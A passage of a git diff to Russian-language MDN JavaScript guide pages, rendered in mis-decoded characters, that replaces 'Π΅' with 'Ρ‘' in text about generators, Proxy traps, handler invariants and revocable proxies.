<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΌ, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ обязан Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <strong>@@iterator</strong>, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ½Β (ΠΈΠ»ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π²Ρ‹ΡˆΠ΅ ΠΏΠΎ <a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ²</a>) обязан ΠΈΠΌΠ΅Ρ‚ΡŒ свойство с ΠΈΠΌΠ΅Π½Π΅ΠΌΒ {{jsxref("Symbol.iterator")}}:</p>
@@ -152,7 +152,7 @@ console.log(sequence.next().value); // 3</pre>
<p>МоТно Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€ Π²Ρ‹Π±Ρ€ΠΎΡΠΈΡ‚ΡŒ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅, Π²Ρ‹Π·Π²Π°Π² Π΅Π³ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{jsxref("Global_Objects/Generator/throw","throw()")}}Β ΠΈΒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π² Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π±Ρ€ΠΎΡˆΠ΅Π½ΠΎ. Π­Ρ‚ΠΎ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π±Ρ€ΠΎΡˆΠ΅Π½ΠΎ ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ приостановлСнного контСкста Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Π° Ρ‚Π°ΠΊ, Π±ΡƒΠ΄Ρ‚ΠΎ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ приостановлСнный <code>yield</code> ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ являлся <code>throw</code> ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠΌ.</p>
-<p>Если <code>yield</code>Β ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ Π½Π΅ встрСчаСтся во врСмя ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π²Ρ‹Π±Ρ€ΠΎΡˆΠ΅Π½Π½ΠΎΠ³ΠΎ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ,Β Ρ‚ΠΎ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ пСрСдаСтся Π²Ρ‹ΡˆΠ΅ Ρ‡Π΅Ρ€Π΅Π· Π²Ρ‹Π·ΠΎΠ²Β <code>throw()</code>, ΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ…Β Π²Ρ‹Π·ΠΎΠ²ΠΎΠ²Β <code>next()</code> Π±ΡƒΠ΄Π΅Ρ‚ свойство <code>done</code> Ρ€Π°Π²Π½ΠΎΠ΅ <code>true</code>.</p>
+<p>Если <code>yield</code>Β ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ Π½Π΅ встрСчаСтся во врСмя ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π²Ρ‹Π±Ρ€ΠΎΡˆΠ΅Π½Π½ΠΎΠ³ΠΎ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ,Β Ρ‚ΠΎ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ пСрСдаётся Π²Ρ‹ΡˆΠ΅ Ρ‡Π΅Ρ€Π΅Π· Π²Ρ‹Π·ΠΎΠ²Β <code>throw()</code>, ΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ…Β Π²Ρ‹Π·ΠΎΠ²ΠΎΠ²Β <code>next()</code> Π±ΡƒΠ΄Π΅Ρ‚ свойство <code>done</code> Ρ€Π°Π²Π½ΠΎΠ΅ <code>true</code>.</p>
<p>Π£ Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ² Π΅ΡΡ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Β  {{jsxref("Global_Objects/Generator/return","return(value)")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β Π·Π°Π΄Π°Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β ΠΈ останавливаСт Ρ€Π°Π±ΠΎΡ‚Ρƒ Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Π°.</p>
diff --git a/files/ru/web/javascript/guide/meta_programming/index.html b/files/ru/web/javascript/guide/meta_programming/index.html
index 49b3657c4c..d1d84977b8 100644
--- a/files/ru/web/javascript/guide/meta_programming/index.html
+++ b/files/ru/web/javascript/guide/meta_programming/index.html
@@ -17,7 +17,7 @@ translation_of: Web/JavaScript/Guide/Meta_programming
<h2 id="ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹_Proxy">ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Proxy</h2>
-<p>Π’Π²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π² ECMAScript 6, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{jsxref("Proxy")}} позволяСт ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚ΠΈΡ‚ΡŒ ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ. НапримСр, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ свойства ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°:</p>
+<p>Π’Π²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π² ECMAScript 6, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{jsxref("Proxy")}} позволяСт ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚ΠΈΡ‚ΡŒ ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ. НапримСр, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ свойства ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°:</p>
<pre class="brush: js">var handler = {
get: function(target, name) {
@@ -28,7 +28,7 @@ p.a = 1;
console.log(p.a, p.b); // 1, 42
</pre>
-<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Proxy</code> опрСдСляСт <em>target</em> (Π² Π΄Π°Π½Π½ΠΎΠΌ случаС Π½ΠΎΠ²Ρ‹ΠΉ пустой ΠΎΠ±ΡŠΠ΅ΠΊΡ‚) ΠΈΒ <em>handler</em> - ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π° особая <em>функция-Π»ΠΎΠ²ΡƒΡˆΠΊΠ°</em>Β <code>get</code>. "ΠŸΡ€ΠΎΠΊΡΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ" Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΏΡ€ΠΈ доступС ΠΊ Π΅Π³ΠΎ Π½Π΅ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌΡƒ свойству Π²Π΅Ρ€Π½Π΅Ρ‚ Π½Π΅Β <code>undefined,</code> Π° числовоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 42.</p>
+<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Proxy</code> опрСдСляСт <em>target</em> (Π² Π΄Π°Π½Π½ΠΎΠΌ случаС Π½ΠΎΠ²Ρ‹ΠΉ пустой ΠΎΠ±ΡŠΠ΅ΠΊΡ‚) ΠΈΒ <em>handler</em> - ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π° особая <em>функция-Π»ΠΎΠ²ΡƒΡˆΠΊΠ°</em>Β <code>get</code>. "ΠŸΡ€ΠΎΠΊΡΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ" Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΏΡ€ΠΈ доступС ΠΊ Π΅Π³ΠΎ Π½Π΅ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌΡƒ свойству Π²Π΅Ρ€Π½Ρ‘Ρ‚ Π½Π΅Β <code>undefined,</code> Π° числовоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 42.</p>
<p>Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ доступны Π² справочникС {{jsxref("Proxy")}}.</p>
@@ -38,7 +38,7 @@ console.log(p.a, p.b); // 1, 42
<dl>
<dt>{{jsxref("Global_Objects/Proxy/handler","handler","","true")}} (ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ)</dt>
- <dd>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ - ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΠ°, содСрТащий Π² сСбС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ-Π»ΠΎΠ²ΡƒΡˆΠΊΠΈ.</dd>
+ <dd>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ - ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠ°, содСрТащий Π² сСбС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ-Π»ΠΎΠ²ΡƒΡˆΠΊΠΈ.</dd>
<dt>Π»ΠΎΠ²ΡƒΡˆΠΊΠΈ (traps)</dt>
<dd>ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹, Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‰ΠΈΠ΅ доступ ΠΊ свойствам. Π’ своСй ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ ΠΎΠ½ΠΈ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Π°(hooking) Π² ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹Ρ… систСмах.</dd>
<dt>Ρ†Π΅Π»ΡŒ (target)</dt>
@@ -103,7 +103,7 @@ console.log(p.a, p.b); // 1, 42
<li>Бвойство Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ описано ΠΊΠ°ΠΊ Π½Π΅ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅, Ссли ΠΎΠ½ΠΎ сущСствуСт ΠΊΠ°ΠΊ собствСнноС свойство Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>target</code> ΠΈ <code>target</code> Π½Π΅ Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌ.</li>
<li>Бвойство Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ описано ΠΊΠ°ΠΊ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅, Ссли ΠΎΠ½ΠΎ Π½Π΅ сущСствуСт ΠΊΠ°ΠΊ собствСнноС свойство Β Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>target</code> ΠΈ <code>target</code> Π½Π΅ Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌ.</li>
<li>Бвойство Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ описано ΠΊΠ°ΠΊ нСизмСняСмоС, Ссли ΠΎΠ½ΠΎ Π½Π΅ сущСствуСт ΠΊΠ°ΠΊ собствСнноС свойство Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>target</code>Β ΠΈΠ»ΠΈ Ссли ΠΎΠ½ΠΎ сущСствуСт ΠΈ являСтся измСняСмым, собствСнным свойством Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>target</code>.</li>
- <li>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½ΠΎΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌΒ <code>Object.getOwnPropertyDescriptor(target)</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΎ ΠΊ Ρ†Π΅Π»Π΅Π²ΠΎΠΌΡƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ Ρ‡Π΅Ρ€Π΅Π· ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>Object.defineProperty ΠΈ э</code>Ρ‚ΠΎ Π½Π΅ Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ ошибки.</li>
+ <li>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½ΠΎΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌΒ <code>Object.getOwnPropertyDescriptor(target)</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΎ ΠΊ Ρ†Π΅Π»Π΅Π²ΠΎΠΌΡƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ Ρ‡Π΅Ρ€Π΅Π· ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>Object.defineProperty ΠΈ э</code>Ρ‚ΠΎ Π½Π΅ Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ ошибки.</li>
</ul>
</td>
</tr>
@@ -117,7 +117,7 @@ console.log(p.a, p.b); // 1, 42
<li>НСльзя Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π½ΠΎΠ²ΠΎΠ΅ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠ΅ свойство, ΠΈΠ»ΠΈ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ свойство Π² ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠ΅, Ссли ΠΎΠ½ΠΎ Π½Π΅ сущСствуСт ΠΊΠ°ΠΊ собствСнноС свойство Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΈΠ»ΠΈ Π½Π΅ являСтся ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΌ.</li>
<li>Бвойство Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΌ, Ссли Ρ†Π΅Π»Π΅Π²ΠΎΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈΠΌΠ΅Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ собствСнноС, ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠ΅ свойство.</li>
<li>Если ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈΠΌΠ΅Π΅Ρ‚ свойство ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ создаваСмому свойству, Ρ‚ΠΎΒ <code>Object.defineProperty(target, prop, descriptor)</code>Β Π½Π΅ Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ ошибки.</li>
- <li>Π’ строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ ("use strict";), Ссли ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΒ <code>defineProperty</code> Π²Π΅Ρ€Π½Π΅Ρ‚ <code>false</code>, это Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒΒ {{jsxref("TypeError")}}.</li>
+ <li>Π’ строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ ("use strict";), Ссли ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΒ <code>defineProperty</code> Π²Π΅Ρ€Π½Ρ‘Ρ‚ <code>false</code>, это Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒΒ {{jsxref("TypeError")}}.</li>
</ul>
</td>
</tr>
@@ -141,7 +141,7 @@ console.log(p.a, p.b); // 1, 42
<td>
<ul>
<li>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ для свойства, Π΄ΠΎΠ»ΠΆΠ½ΠΎ Ρ€Π°Π²Π½ΡΡ‚ΡŒΡΡ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ свойства Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Ссли это свойство являСтся доступным Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния, Π½Π΅ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΌ.</li>
- <li>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ для свойства, Π΄ΠΎΠ»ΠΆΠ½ΠΎ Ρ€Π°Π²Π½ΡΡ‚ΡŒΡΡ <code>undefined,</code> Ссли ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ свойство Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° являСтся Π½Π΅ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΌ ΠΈ ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚ΠΎ Π² Π³Π΅Ρ‚Ρ‚Π΅Ρ€ ΠΈ сСттСр,Β Π³Π΄Π΅ сСттСр Ρ€Π°Π²Π΅Π½Β <code>undefined</code>.</li>
+ <li>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ для свойства, Π΄ΠΎΠ»ΠΆΠ½ΠΎ Ρ€Π°Π²Π½ΡΡ‚ΡŒΡΡ <code>undefined,</code> Ссли ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ свойство Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° являСтся Π½Π΅ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΌ ΠΈ ΠΎΠ±Ρ‘Ρ€Π½ΡƒΡ‚ΠΎ Π² Π³Π΅Ρ‚Ρ‚Π΅Ρ€ ΠΈ сСттСр,Β Π³Π΄Π΅ сСттСр Ρ€Π°Π²Π΅Π½Β <code>undefined</code>.</li>
</ul>
</td>
</tr>
@@ -153,7 +153,7 @@ console.log(p.a, p.b); // 1, 42
<td>
<ul>
<li>НСльзя ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства Π½Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎΠ΅ ΠΎΡ‚ значСния ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ свойства Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Ссли это свойство Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° доступно Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния, ΠΈ являСтся Π½Π΅ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΌ.</li>
- <li>НСльзя ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства, Ссли ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ свойство Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° являСтся Π½Π΅ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΌ, ΠΈ ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚ΠΎ Π² Π³Π΅Ρ‚Ρ‚Π΅Ρ€ ΠΈ сСттСр, Π³Π΄Π΅ сСттСр Ρ€Π°Π²Π΅Π½Β <code>undefined</code>.</li>
+ <li>НСльзя ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства, Ссли ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ свойство Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° являСтся Π½Π΅ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΌ, ΠΈ ΠΎΠ±Ρ‘Ρ€Π½ΡƒΡ‚ΠΎ Π² Π³Π΅Ρ‚Ρ‚Π΅Ρ€ ΠΈ сСттСр, Π³Π΄Π΅ сСттСр Ρ€Π°Π²Π΅Π½Β <code>undefined</code>.</li>
<li>Π’ строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½ΠΈΠ΅Β <code>false</code> ΠΈΠ· ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°Β <code>set</code> Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ {{jsxref("TypeError")}}.</li>
</ul>
</td>
@@ -203,7 +203,7 @@ console.log(p.a, p.b); // 1, 42
<h2 id="ΠžΡ‚Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉ_Proxy">ΠžΡ‚Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉ <code>Proxy</code></h2>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ {{jsxref("Proxy.revocable()")}} создаСт ΠΎΡ‚Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Proxy</code>. Вакой прокси ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΎΠ·Π²Π°Π½ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉΒ <code>revoke</code>, которая ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ всС Π»ΠΎΠ²ΡƒΡˆΠΊΠΈ-ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ. ПослС этого Π»ΡŽΠ±Ρ‹Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Π½Π°Π΄ прокси ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ Π²Ρ‹Π·ΠΎΠ²ΡƒΡ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ {{jsxref("TypeError")}}.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ {{jsxref("Proxy.revocable()")}} создаёт ΠΎΡ‚Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Proxy</code>. Вакой прокси ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΎΠ·Π²Π°Π½ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉΒ <code>revoke</code>, которая ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ всС Π»ΠΎΠ²ΡƒΡˆΠΊΠΈ-ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ. ПослС этого Π»ΡŽΠ±Ρ‹Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Π½Π°Π΄ прокси ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ Π²Ρ‹Π·ΠΎΠ²ΡƒΡ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ {{jsxref("TypeError")}}.</p>
